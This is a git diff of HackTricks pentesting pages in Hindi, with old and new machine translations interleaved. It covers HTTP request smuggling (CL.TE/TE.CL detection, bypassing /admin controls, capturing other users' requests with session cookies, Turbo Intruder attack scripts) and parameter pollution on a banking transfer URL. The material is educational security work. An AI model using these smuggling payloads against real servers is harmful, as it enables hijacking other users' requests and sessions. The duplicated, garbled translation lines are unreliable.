जब फ्रंट-एंड सर्वर `Content-Length` हेडर का उपयोग करता है, तो यह केवल इस अनुरोध का एक हिस्सा आगे भेजेगा, `0` को छोड़ देगा। बैक-एंड सर्वर `Transfer-Encoding` हेडर का उपयोग करता है, पहले चंक को प्रोसेस करता है, और फिर अगले चंक का इंतजार करता है। इससे एक दृश्यमान समय देरी होगी।
|
||||
|
||||
कभी-कभी, आपको टाइमआउट के बजाय अंतिम होस्ट से 400 बैड रिक्वेस्ट मिलती है, जैसे कि निम्नलिखित परिदृश्य में, जहां एक CL.TE पेलोड भेजा जाता है:
|
||||
कभी-कभी, टाइमआउट की बजाय आप अंतिम होस्ट से 400 बैड रिक्वेस्ट प्राप्त करते हैं, जैसे निम्नलिखित स्थिति में, जहां एक सीएल.टीई पेलोड भेजा जाता है:
|
||||
|
||||
![](<../../.gitbook/assets/image (444).png>)
|
||||
|
||||
और प्रतिक्रिया में एक रीडायरेक्ट होता है जिसमें शरीर के अंदर एक त्रुटि होती है और यहां तक कि haproxy का इस्तेमाल किया गया संस्करण भी होता है:
|
||||
और प्रतिक्रिया एक रीडायरेक्ट है जिसमें बॉडी में एक त्रुटि है जिसमें हैप्रॉक्सी का उपयोग किया गया संस्करण भी है:
|
||||
|
||||
![](<../../.gitbook/assets/image (443).png>)
|
||||
|
||||
### TE.CL भेद्यताओं को समय तकनीकों का उपयोग करके खोजना
|
||||
### समय तकनीकों का उपयोग करके टीई.सीएल दुर्बलताएँ खोजना
|
||||
|
||||
यदि कोई एप्लिकेशन TE.CL वेरिएंट के अनुरोध तस्करी के लिए भेद्य है, तो निम्नलिखित जैसा अनुरोध भेजने से अक्सर समय देरी होगी:
|
||||
यदि कोई एप्लिकेशन टीई.सीएल वेरिएंट के अनुरोध स्मगलिंग के लिए वंर्णनीय है, तो निम्नलिखित तरह का एक अनुरोध भेजने पर अक्सर समय में देरी होगी:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -122,39 +103,33 @@ Content-Length: 6
|
|||
0
|
||||
X
|
||||
```
|
||||
### HTTP Request Smuggling संवेदनशीलताओं की जांच करना
|
||||
### एचटीटीपी रिक्वेस्ट स्मग्लिंग वलनरेबिलिटीज की जांच
|
||||
|
||||
एक बार जब आप पाते हैं कि **समय तकनीकें काम कर रही हैं**, आपको **जांच** करनी चाहिए कि आप **अन्य ग्राहकों के अनुरोधों को बदल सकते हैं**।\
|
||||
इसे करने का सबसे आसान तरीका अपने स्वयं के अनुरोधों को विषाक्त करने की कोशिश करना है, **उदाहरण के लिए `/` के लिए एक अनुरोध एक 404 वापस करें**।\
|
||||
[मूल उदाहरणों](./#basic-examples) में हमने पहले ही `CL.TE` और `TE.CL` उदाहरण देखे हैं कि कैसे एक ग्राहक के अनुरोध को विषाक्त करने के लिए `/404` मांगना चाहिए, जब ग्राहक किसी अन्य संसाधन के लिए पूछ रहा हो तो 404 प्रतिक्रिया उत्पन्न करना।
|
||||
जब आपने पाया है कि **समयिक तकनीकें काम कर रही हैं** तो आपको यह प्रोब करना होगा कि आप **अन्य क्लाइंट्स के रिक्वेस्ट को बदल सकते हैं**।\
|
||||
इसे करने का सबसे आसान तरीका यह है कि अपने अपने रिक्वेस्ट को पॉइज़न करने की कोशिश करें, **उदाहरण के लिए `/` के लिए एक 404 वापसी के लिए एक रिक्वेस्ट करें**।\
|
||||
[बेसिक उदाहरणों](./#basic-examples) में हमने पहले ही देखा कि `CL.TE` और `TE.CL` उदाहरण कैसे एक क्लाइंट के रिक्वेस्ट को पॉइज़न करने के लिए `/404` के लिए एक 404 प्रतिक्रिया को उत्पन्न करने के लिए किस प्रकार से किया जा सकता है।
|
||||
|
||||
**नोट्स**
|
||||
|
||||
अन्य अनुरोधों के साथ हस्तक्षेप के माध्यम से अनुरोध स्मगलिंग संवेदनशीलताओं की पुष्टि करने की कोशिश करते समय कुछ महत्वपूर्ण विचारों को ध्यान में रखा जाना चाहिए:
|
||||
अन्य रिक्वेस्टों के साथ हस्तक्षेप करके रिक्वेस्ट स्मग्लिंग वलनरेबिलिटीज की पुष्टि करने का प्रयास करते समय कुछ महत्वपूर्ण विचारों को ध्यान में रखना चाहिए:
|
||||
|
||||
* "हमला" अनुरोध और "सामान्य" अनुरोध को अलग-अलग नेटवर्क कनेक्शनों का उपयोग करके सर्वर को भेजा जाना चाहिए। दोनों अनुरोधों को एक ही कनेक्शन के माध्यम से भेजने से यह साबित नहीं होगा कि संवेदनशीलता मौजूद है।
|
||||
* "हमला" अनुरोध और "सामान्य" अनुरोध को जितना संभव हो सके एक ही URL और पैरामीटर नामों का उपयोग करना चाहिए। यह इसलिए है क्योंकि कई आधुनिक अनुप्रयोग URL और पैरामीटरों के आधार पर फ्रंट-एंड अनुरोधों को विभिन्न बैक-एंड सर्वरों को रूट करते हैं। एक ही URL और पैरामीटरों का उपयोग करने से यह संभावना बढ़ जाती है कि अनुरोधों को एक ही बैक-एंड सर्वर द्वारा संसाधित किया जाएगा, जो हमले के काम करने के लिए आवश्यक है।
|
||||
* "सामान्य" अनुरोध का परीक्षण करते समय "हमला" अनुरोध से किसी भी हस्तक्षेप का पता लगाने के लिए, आप उसी समय अनुप्रयोग द्वारा प्राप्त किए जा रहे किसी अन्य अनुरोधों के साथ दौड़ में हैं, जिसमें अन्य उपयोगकर्ताओं से भी शामिल हैं। आपको "सामान्य" अनुरोध को "हमला" अनुरोध के तुरंत बाद भेजना चाहिए। यदि अनुप्रयोग व्यस्त है, तो आपको संवेदनशीलता की पुष्टि करने के लिए कई प्रयास करने पड़ सकते हैं।
|
||||
* कुछ अनुप्रयोगों में, फ्रंट-एंड सर्वर एक लोड बैलेंसर के रूप में कार्य करता है, और किसी लोड बैलेंसिंग एल्गोरिथम के अनुसार विभिन्न बैक-एंड सिस्टमों को अनुरोध अग्रेषित करता है। यदि आपके "हमला" और "सामान्य" अनुरोध विभिन्न बैक-एंड सिस्टमों को अग्रेषित किए जाते हैं, तो हमला विफल हो जाएगा। यह एक अतिरिक्त कारण है कि आपको संवेदनशीलता की पुष्टि करने से पहले कई बार प्रयास करने पड़ सकते हैं।
|
||||
* यदि आपका हमला एक बाद के अनुरोध के साथ हस्तक्षेप करने में सफल होता है, लेकिन यह "सामान्य" अनुरोध नहीं था जिसे आपने हस्तक्षेप का पता लगाने के लिए भेजा था, तो इसका मतलब है कि आपके हमले से एक अन्य अनुप्रयोग उपयोगकर्ता प्रभावित हुआ था। यदि आप परीक्षण जारी रखते हैं, तो इससे अन्य उपयोगकर्ताओं पर विघटनकारी प्रभाव पड़ सकता है, और आपको सावधानी बरतनी चाहिए।
|
||||
* "हमला" रिक्वेस्ट और "सामान्य" रिक्वेस्ट को सर्वर को अलग नेटवर्क कनेक्शन का उपयोग करके भेजा जाना चाहिए। दोनों रिक्वेस्ट को एक ही कनेक्शन के माध्यम से भेजने से यह सिद्ध नहीं होगा कि वलनरेबिलिटी मौजूद है।
|
||||
* "हमला" रिक्वेस्ट और "सामान्य" रिक्वेस्ट को जितना संभव हो सके, वे एक ही यूआरएल और पैरामीटर नामों का उपयोग करना चाहिए। इसलिए कि कई आधुनिक एप्लिकेशन्स यूआरएल और पैरामीटर के आधार पर फ्रंट-एंड रिक्वेस्ट को विभिन्न बैक-एंड सर्वर्स की ओर मार्गानुक्रमित करते हैं। एक ही यूआरएल और पैरामीटर का उपयोग करने से यह संभावना बढ़ जाती है कि रिक्वेस्ट्स एक ही बैक-एंड सर्वर द्वारा प्रसंस्कृत किए जाएंगे, जो हमले के लिए आवश्यक है।
|
||||
* "हमला" रिक्वेस्ट से किसी अन्य रिक्वेस्ट के हस्तक्षेप को पता लगाने के लिए "सामान्य" रिक्वेस्ट का परीक्षण करते समय आप उस समय के साथ एक दौड़ में हैं जिस समय एप्लिकेशन एक साथ प्राप्त कर रहा है, जिसमें अन्य उपयोगकर्ताओं के रिक्वेस्ट भी शामिल हैं। आपको "सामान्य" रिक्वेस्ट को "हमला" रिक्वेस्ट के तुरंत बाद भेजना चाहिए। यदि एप्लिकेशन व्यस्त है, तो आपको वलनरेबिलिटी की पुष्टि करने के लिए कई प्रयास करने की आवश्यकता हो सकती है।
|
||||
* कुछ एप्लिकेशन में, फ्रंट-एंड सर्वर एक लोड बैलेंसर के रूप में कार्य करता है, और कुछ लोड बैलेंसिंग एल्गोरिदम के अनुसार विभिन्न बैक-एंड सिस्टम्स को रिक्वेस्ट फॉरवर्ड करता है। यदि आपकी "हमला" और "सामान्य" रिक्वेस्ट विभिन्न बैक-एंड सिस्टम्स को फॉरवर्ड किए जाते हैं, तो हमला असफल हो जाएगा। यह एक अतिरिक्त कारण है कि वलनरेबिलिटी की पुष्टि करने के लिए आपको कई बार प्रयास करने की आवश्यकता हो सकती है।
|
||||
* यदि आपका हमला किसी भविष्य के रिक्वेस्ट में हस्तक्षेप करने में सफल होता है, लेकिन यह "सामान्य" रिक्वेस्ट नहीं था जिसे आपने हस्तक्षेप का पता लगाने के लिए भेजा था, तो इसका अर्थ है कि किसी अन्य एप्लिकेशन उपयोगकर्ता को आपके हमले का प्रभावित किया गया था। यदि आप परीक्षण जारी रखते हैं, तो इससे अन्य उपयोगकर्ताओं पर प्रभाव पड़ सकता है, और आपको सावधानी बरतनी चाहिए।
|
||||
|
||||
### हॉप-बाय-हॉप हेडर्स के माध्यम से जबरदस्ती करना
|
||||
### हॉप-बाय-हॉप हेडर्स के माध्यम से जबरदस्ती
|
||||
|
||||
हॉप-बाय-हॉप हेडर्स का दुरुपयोग करके आप प्रॉक्सी को संकेत दे सकते हैं कि **हेडर Content-Length या Transfer-Encoding को हटा दें ताकि HTTP अनुरोध स्मगलिंग का दुरुपयोग संभव हो सके**।
|
||||
हॉप-बाय-हॉप हेडर्स का दुरुपयोग करके आप प्रॉक्सी को संकेतित कर सकते हैं कि **हेडर Content-Length या Transfer-Encoding को हटाएं ताकि एक एचटीटीपी रिक्वेस्ट स्मग्लिंग का दुरुपयोग किया जा सके**।
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
हॉप-बाय-हॉप हेडर्स के बारे में **अधिक जानकारी के लिए** यहां जाएं:
|
||||
## HTTP अनुरोध स्मग्लिंग का दुरुपयोग
|
||||
|
||||
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
|
||||
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
|
||||
{% endcontent-ref %}
|
||||
### फ्रंट-एंड सुरक्षा नियंत्रण को छलकरने के लिए
|
||||
|
||||
## HTTP अनुरोध स्मगलिंग का दुरुपयोग
|
||||
|
||||
### फ्रंट-एंड सुरक्षा नियंत्रणों को बायपास करने के लिए
|
||||
|
||||
कभी-कभी **फ्रंट-एंड प्रॉक्सी कुछ सुरक्षा जांच करते हैं**। आप HTTP अनुरोध स्मगलिंग का दुरुपयोग करके उनसे बच सकते हैं क्योंकि आप **सुरक्षा उपायों को बायपास कर पाएंगे**। उदाहरण के लिए, इस उदाहरण में आप **बाहर से `/admin` तक पहुंच नहीं सकते** और फ्रंट-एंड प्रॉक्सी इसकी जांच कर रही है, लेकिन यह **प्रॉक्सी एम्बेडेड अनुरोध की जांच नहीं कर रही है**:
|
||||
कभी-कभी **फ्रंट-एंड प्रॉक्सी सुरक्षा जांचें करेगी**। आप HTTP अनुरोध स्मग्लिंग का दुरुपयोग करके इन्हें छल सकते हैं क्योंकि आप **सुरक्षा उपायों को छल सकते हैं**। उदाहरण के लिए, इस उदाहरण में आप **बाहर से `/admin` तक पहुंच नहीं सकते** और फ्रंट-एंड प्रॉक्सी यह जांच रही है, लेकिन यह **प्रॉक्सी एम्बेडेड अनुरोध की जांच नहीं कर रही है**:
|
||||
|
||||
**CL.TE**
|
||||
|
||||
|
@ -188,13 +163,13 @@ Connection: Content-Length
|
|||
`0`\
|
||||
`\`
|
||||
|
||||
### फ्रंट-एंड अनुरोध पुनर्लेखन का पता लगाना <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### फ्रंट-एंड अनुरोध पुनर्लेखन का पता लगाना
|
||||
|
||||
कई एप्लिकेशनों में, **फ्रंट-एंड सर्वर अनुरोधों का कुछ पुनर्लेखन करता है** इससे पहले कि वे बैक-एंड सर्वर को भेजे जाएं, आमतौर पर कुछ अतिरिक्त अनुरोध हेडर्स जोड़कर।\
|
||||
एक सामान्य बात यह है कि **अनुरोध में हेडर** `X-Forwarded-For: <IP of the client>` या कुछ इसी तरह का हेडर जोड़ना ताकि बैक-एंड को क्लाइंट का IP पता चल सके।\
|
||||
कभी-कभी, अगर आप **पता लगा सकते हैं कि कौन से नए मान अनुरोध में जोड़े गए हैं** तो आप **सुरक्षा उपायों को बायपास कर सकते हैं** और **छिपी हुई जानकारी**/**एंडपॉइंट्स तक पहुंच सकते हैं**।
|
||||
कई एप्लिकेशनों में **फ्रंट-एंड सर्वर अनुरोधों का पुनर्लेखन करता है** पहले वे बैक-एंड सर्वर को फॉरवर्ड करने से पहले, सामान्यत: कुछ अतिरिक्त अनुरोध हेडर जोड़कर।\
|
||||
एक सामान्य चीज यह है कि अनुरोध में शीर्षक जोड़ना है `X-Forwarded-For: <उपयोगकर्ता का आईपी>` या कोई समान हेडर ताकि बैक-एंड उपयोगकर्ता का आईपी पता लगा सके।\
|
||||
कभी-कभी, यदि आप **खोज सकते हैं कि नए मान कौन से जोड़े गए हैं** तो आप संरक्षण को **छल सकते हैं** और **छुपी जानकारी**/**अंत बिंदु** तक पहुंच सकते हैं।
|
||||
|
||||
प्रॉक्सी द्वारा अनुरोध कैसे पुनर्लिखित किया जा रहा है यह जानने के लिए आपको **एक POST पैरामीटर ढूंढना होगा जिसका मान बैक-एंड प्रतिबिंबित करेगा** उत्तर में। फिर, इस पैरामीटर का उपयोग अंतिम एक के रूप में करें और इस तरह का एक्सप्लॉइट का उपयोग करें:
|
||||
अनुरोध को पुनर्लेखन कैसे कर रहा है प्रॉक्सी का पता लगाने के लिए आपको **एक पोस्ट पैरामीटर खोजना होगा जिसका मान बैक-एंड उत्तर में प्रतिबिंबित होगा**। फिर, इस पैरामीटर का उपयोग अंतिम करें और इस तरह का एक उत्पीड़न उपयोग करें:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -205,45 +180,7 @@ Connection: Content-Length
|
|||
``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\
|
||||
`search=`
|
||||
|
||||
इस मामले में अगला अनुरोध `search=` के बाद जोड़ा जाएगा जो यह भी **पैरामीटर है जिसका मान प्रतिबिंबित होने वाला है** उत्तर में, इसलिए यह **अगले अनुरोध के हेडर्स को प्रतिबिंबित करेगा**।
|
||||
|
||||
ध्यान दें कि **केवल एम्बेडेड अनुरोध के `Content-Length` हेडर में इंगित लंबाई प्रतिबिंबित की जाएगी**। अगर आप कम संख्या का उपयोग करते हैं, तो केवल कुछ बाइट्स प्रतिबिंबित होंगे, अगर आप सभी हेडर्स की लंबाई से बड़ी संख्या का उपयोग करते हैं, तो एम्बेडेड अनुरोध एक त्रुटि फेंक देगा। फिर, आपको **छोटी संख्या** से **शुरू करना चाहिए** और इसे **बढ़ाना चाहिए** जब तक आप सभी देखना चाहते हैं।\
|
||||
यह भी ध्यान दें कि यह **तकनीक TE.CL** भेद्यता के साथ भी शोषण की जा सकती है लेकिन अनुरोध को `search=\r\n0` के साथ समाप्त होना चाहिए। हालांकि, नई पंक्ति वर्णों के बावजूद मान सर्च पैरामीटर में जोड़े जाएंगे।
|
||||
|
||||
अंत में ध्यान दें कि इस हमले में हम अभी भी खुद पर हमला कर रहे हैं ताकि यह जान सकें कि फ्रंट-एंड प्रॉक्सी अनुरोध को कैसे पुनर्लिखित कर रहा है।
|
||||
|
||||
### अन्य उपयोगकर्ताओं के अनुरोधों को कैप्चर करना <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
अगर आप एक POST अनुरोध ढूंढ सकते हैं जो एक पैरामीटर की सामग्री को सहेजने वाला है तो आप उस पैरामीटर के मान के रूप में निम्नलिखित अनुरोध जोड़ सकते हैं ताकि अगले ग्राहक के क्वेस्ट को स्टोर कर सकें:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
|
||||
`Content-Type: application/x-www-form-urlencoded`\
|
||||
`Content-Length: 319`\
|
||||
`Connection: keep-alive`\
|
||||
`Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi`\
|
||||
`Transfer-Encoding: chunked`\
|
||||
``\ `0`\``\
|
||||
`POST /post/comment HTTP/1.1`\
|
||||
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
|
||||
`Content-Length: 659`\
|
||||
`Content-Type: application/x-www-form-urlencoded`\
|
||||
`Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi`\
|
||||
\`\`\
|
||||
`csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=`
|
||||
|
||||
इस मामले में, **पैरामीटर कमेंट** का मान **एक पोस्ट के कमेंट में सहेजा जाएगा** जो पेज पर **सार्वजनिक रूप से उपलब्ध है**, इसलिए एक **कमेंट अगले अनुरोध की सामग्री के साथ दिखाई देगा**।
|
||||
|
||||
_इस तकनीक की एक सीमा यह है कि यह आमतौर पर केवल उस पैरामीटर विभाजक तक डेटा कैप्चर करेगा जो स्मगल किए गए अनुरोध के लिए लागू होता है। URL-एन्कोडेड फॉर्म सबमिशन के लिए, यह `&` वर्ण होगा, जिसका अर्थ है कि पीड़ित उपयोगकर्ता के अनुरोध से संग्रहीत सामग्री पहले `&` पर समाप्त हो जाएगी, जो क्वेरी स्ट्रिंग में भी दिखाई दे सकता है।_
|
||||
|
||||
यह भी ध्यान दें कि यह **तकनीक TE.CL** भेद्यता के साथ भी शोषण की जा सकती है लेकिन अनुरोध को `search=\r\n0` के साथ समाप्त होना चाहिए। हालांकि, नई पंक्ति वर्णों के बावजूद मान सर्च पैरामीटर में जोड़े जाएंगे।
|
||||
|
||||
### प्रतिबिंबित XSS का शोषण करने के लिए HTTP अनुरोध स्मगलिंग का उपयोग
|
||||
|
||||
अगर वेब पेज **प्रतिबिंबित XSS के लिए भी भेद्य है**, तो आप HTTP अनुरोध स्मगलिंग का दुरुपयोग करके वेब के ग्राहकों पर हमला कर सकते हैं। HTTP अनुरोध स्मगलिंग से प्रतिबिंबित XSS के शोषण के कुछ फायदे हैं:
|
||||
|
||||
* **इसके लिए पीड़ित उपयोगकर्ताओं के साथ कोई बातचीत की आवश्यकता नहीं है**
|
||||
* इसका उपयोग अनुरोध के उन हिस्सों में XSS व्यवहार का **शोषण करने के लिए किया जा सकता है जिन्हें सामान्य प्रत
|
||||
इस मामले में अगला अनुरोध `search=` के बाद जोड़ा जाएगा जो **उत्तर पर प्रतिबिंबित होने वाले पैरामीटर** है, इसलिए यह **अगले अनुरोध के हेडर प्रतिबिंबित करेगा**।
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
|
||||
|
@ -282,9 +219,9 @@ time.sleep(0.05)
|
|||
def handleResponse(req, interesting):
|
||||
table.add(req)
|
||||
```
|
||||
### TE.CL
|
||||
### टीई.सी.एल
|
||||
|
||||
से: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
|
@ -328,7 +265,7 @@ table.add(req)
|
|||
```
|
||||
## अधिक जानकारी
|
||||
|
||||
![](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
||||
![यहाँ से छवि।](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)
|
||||
|
||||
[यहाँ से छवि।](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)
|
||||
|
||||
|
@ -338,7 +275,7 @@ table.add(req)
|
|||
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): यह उपकरण एक व्याकरण-आधारित HTTP Fuzzer है जो अजीब request smuggling विसंगतियों को खोजने में उपयोगी है।
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): यह उपकरण विचित्र अनुरोध स्मगलिंग अंतर की खोज के लिए उपयोगी है।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
@ -352,14 +289,14 @@ table.add(req)
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacking सीखें zero से hero तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* यदि आप अपनी कंपनी का विज्ञापन देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** को फॉलो करें.**
|
||||
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी hacking tricks साझा करें।
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड गिटहब रेपो में पीआर जमा करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,84 +1,72 @@
|
|||
# पैरामीटर पोल्यूशन
|
||||
# पैरामीटर प्रदूषण
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का पालन करें.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**यहाँ से कॉपी किया गया** [**https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654**](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||
# HTTP पैरामीटर प्रदूषण (HPP) अवलोकन
|
||||
|
||||
**सारांश :**
|
||||
HTTP पैरामीटर प्रदूषण (HPP) एक हमला तकनीक है जिसमें HTTP पैरामीटरों का उपयोग करके वेब एप्लिकेशन की अपेक्षित व्यवहार को बदलने का समर्थन किया जाता है। यह प्रकार का हमला अपेक्षाकृत सरल है लेकिन अच्छी तरह से प्रभावी हो सकता है। हालांकि पैरामीटर मानिपुलेशन सर्वर-साइड पर होता है और उपयोगकर्ता को दिखाई नहीं देता है, लेकिन परिणामी व्यवहार पर उपयोगकर्ता की ओर से देखा जा सकता है।
|
||||
|
||||
HTTP पैरामीटर पोल्यूशन (HPP) का अर्थ है एक वेब एप्लिकेशन के HTTP पैरामीटर्स को प्रदूषित करना ताकि एक विशिष्ट दुर्भावनापूर्ण कार्य को प्राप्त किया जा सके। यह HTTP अनुरोधों के दौरान एक वेबसाइट द्वारा प्राप्त पैरामीटर्स को कैसे ट्रीट करती है, उसे हेरफेर करने का संदर्भ देता है। यह एक वेबसाइट के व्यवहार को उसके इरादे से बदल देता है। HTTP पैरामीटर पोल्यूशन एक सरल प्रकार का हमला है लेकिन यह एक प्रभावी है।
|
||||
##HTTP पैरामीटर प्रदूषण (HPP) का उदाहरण
|
||||
|
||||
जब आप किसी पैरामीटर को प्रदूषित करते हैं, तो कोड केवल सर्वर-साइड पर चलता है जो हमें दिखाई नहीं देता है, लेकिन हम अपनी स्क्रीन पर परिणाम देख सकते हैं। बीच की प्रक्रिया एक ब्लैक बॉक्स है।
|
||||
एक बैंकिंग एप्लिकेशन के लिए मानक लेन-देन URL का विचार करें:
|
||||
|
||||
उदाहरण के लिए, एक URL है https://www.anybank.com/send जिसमें तीन पैरामीटर हैं :
|
||||
**URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||
|
||||
1. from :
|
||||
2. to :
|
||||
3. amount :
|
||||
यह URL 10,000 का लेन-देन accountA से accountB में प्रारंभ करता है। हालांकि, एक और `from` पैरामीटर को इस प्रकार जोड़ना:
|
||||
|
||||
**URL : https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000**
|
||||
**मानिपुलेटेड URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
|
||||
अब यह एक सामान्य URL है जो accountA से accountB को 10000 का लेन-देन करेगा लेकिन क्या होगा अगर हम एक और समान पैरामीटर **“from :”** जोड़ दें
|
||||
यह लेन-देन को accountA की बजाय accountC से काट सकता है। यह दिखाता है कि HPP कैसे पैरामीटरों को मानिपुलेट करने के लिए उपयोग किया जा सकता है। विशेष रूप से, यह कमी GET अनुरोधों से सीमित नहीं है बल्कि पासवर्ड परिवर्तन, 2FA, या API कुंजी प्रेषण जैसे विभिन्न कार्यों में POST अनुरोधों में भी उत्पीड़न किया जा सकता है।
|
||||
|
||||
तो URL होगा **https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000\&from=accountC**
|
||||
